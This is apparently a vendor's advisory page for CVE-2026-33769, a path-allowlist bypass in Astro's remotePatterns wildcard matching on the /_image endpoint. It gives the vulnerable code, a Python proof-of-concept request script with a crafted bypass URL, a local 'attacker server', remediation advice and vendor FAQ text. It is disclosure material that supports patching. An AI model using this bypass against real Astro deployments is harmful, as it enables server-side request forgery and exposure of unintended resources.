Summary
This issue concerns Astro's remotePatterns path enforcement for remote URLs used by server-side fetchers such as the image optimization endpoint. The path matching logic for /* wildcards is unanchored, so a pathname that contains the allowed prefix later in the path can still match. As a result, an attacker can fetch paths outside the intended allowlisted prefix on an otherwise allowed host. In our PoC, both the allowed path and a bypass path returned 200 with the same SVG payload, confirming the bypass.
Description
Taint flow: request -> transform.src -> isRemoteAllowed() -> matchPattern() -> matchPathname()
User-controlled href is parsed into transform.src and validated via isRemoteAllowed():
const url = new URL(request.url);
const transform = await imageService.parseURL(url, imageConfig);
const isRemoteImage = isRemotePath(transform.src);
if (isRemoteImage && isRemoteAllowed(transform.src, imageConfig) === false) {
return new Response('Forbidden', { status: 403 });
}
isRemoteAllowed() checks each remotePattern via matchPattern():
export function matchPattern(url: URL, remotePattern: RemotePattern): boolean {
return (
matchProtocol(url, remotePattern.protocol) &&
matchHostname(url, remotePattern.hostname, true) &&
matchPort(url, remotePattern.port) &&
matchPathname(url, remotePattern.pathname, true)
);
}
The vulnerable logic in matchPathname() uses replace() without anchoring the prefix for /* patterns:
} else if (pathname.endsWith('/*')) {
const slicedPathname = pathname.slice(0, -1); // * length
const additionalPathChunks = url.pathname
.replace(slicedPathname, '')
.split('/')
.filter(Boolean);
return additionalPathChunks.length === 1;
}
Vulnerable code flow:
isRemoteAllowed()evaluatesremotePatternsfor a requested URL.matchPathname()handlespathname: "/img/*"using.replace()on the URL path.- A path such as
/evil/img/secretincorrectly matches because/img/is removed even when it's not at the start. - The image endpoint fetches and returns the remote resource.
PoC
The PoC starts a local attacker server and configures remotePatterns to allow only /img/*. It then requests the image endpoint with two URLs: an allowed path and a bypass path with /img/ in the middle. Both requests returned the SVG payload, showing the path restriction was bypassed.
Vulnerable config
import { defineConfig } from 'astro/config';
import node from '@astrojs/node';
export default defineConfig({
output: 'server',
adapter: node({ mode: 'standalone' }),
image: {
remotePatterns: [
{ protocol: 'https', hostname: 'cdn.example', pathname: '/img/*' },
{ protocol: 'http', hostname: '127.0.0.1', port: '9999', pathname: '/img/*' },
],
},
});
Affected pages
This PoC targets the /_image endpoint directly; no additional pages are required.
PoC Code
import http.client
import json
import urllib.parse
HOST = "127.0.0.1"
PORT = 4321
def fetch(path: str) -> dict:
conn = http.client.HTTPConnection(HOST, PORT, timeout=10)
conn.request("GET", path, headers={"Host": f"{HOST}:{PORT}"})
resp = conn.getresponse()
body = resp.read(2000).decode("utf-8", errors="replace")
conn.close()
return {
"path": path,
"status": resp.status,
"reason": resp.reason,
"headers": dict(resp.getheaders()),
"body_snippet": body[:400],
}
allowed = urllib.parse.quote("http://127.0.0.1:9999/img/allowed.svg", safe="")
bypass = urllib.parse.quote("http://127.0.0.1:9999/evil/img/secret.svg", safe="")
# Both pass, second should fail
results = {
"allowed": fetch(f"/_image?href={allowed}&f=svg"),
"bypass": fetch(f"/_image?href={bypass}&f=svg"),
}
print(json.dumps(results, indent=2))
Attacker server
from http.server import BaseHTTPRequestHandler, HTTPServer
HOST = "127.0.0.1"
PORT = 9999
PAYLOAD = """<svg xmlns=\"http://www.w3.org/2000/svg\">
<text>OK</text>
</svg>
"""
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
print(f">>> {self.command} {self.path}")
if self.path.endswith(".svg") or "/img/" in self.path:
self.send_response(200)
self.send_header("Content-Type", "image/svg+xml")
self.send_header("Cache-Control", "no-store")
self.end_headers()
self.wfile.write(PAYLOAD.encode("utf-8"))
return
self.send_response(200)
self.send_header("Content-Type", "text/plain")
self.end_headers()
self.wfile.write(b"ok")
def log_message(self, format, *args):
return
if __name__ == "__main__":
server = HTTPServer((HOST, PORT), Handler)
print(f"HTTP logger listening on http://{HOST}:{PORT}")
server.serve_forever()
PoC Steps
- Bootstrap default Astro project.
- Add the vulnerable config and attacker server.
- Build the project.
- Start the attacker server.
- Start the Astro server.
- Run the PoC.
- Observe the console output showing both the allowed and bypass requests returning the SVG payload.
Impact
Attackers can fetch unintended remote resources on an allowlisted host via the image endpoint, expanding SSRF/data exposure beyond the configured path prefix.
The application does not adequately validate input before processing it, allowing unexpected values to reach sensitive code paths. Typical impact: varies by context: data corruption, logic bypass, or denial of service.
CVE-2026-33769 has a CVSS score of 5.3 (Low). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (5.18.1); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-33769? CVE-2026-33769 is a low-severity improper input validation vulnerability in astro (npm), affecting versions >= 2.10.10, < 5.18.1. It is fixed in 5.18.1. The application does not adequately validate input before processing it, allowing unexpected values to reach sensitive code paths.
- How severe is CVE-2026-33769? CVE-2026-33769 has a CVSS score of 5.3 (Low). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of astro are affected by CVE-2026-33769? astro (npm) versions >= 2.10.10, < 5.18.1 is affected.
- Is there a fix for CVE-2026-33769? Yes. CVE-2026-33769 is fixed in 5.18.1. Upgrade to this version or later.
- Is CVE-2026-33769 exploitable, and should I be worried? Whether CVE-2026-33769 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-33769 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-33769? Upgrade
astroto 5.18.1 or later.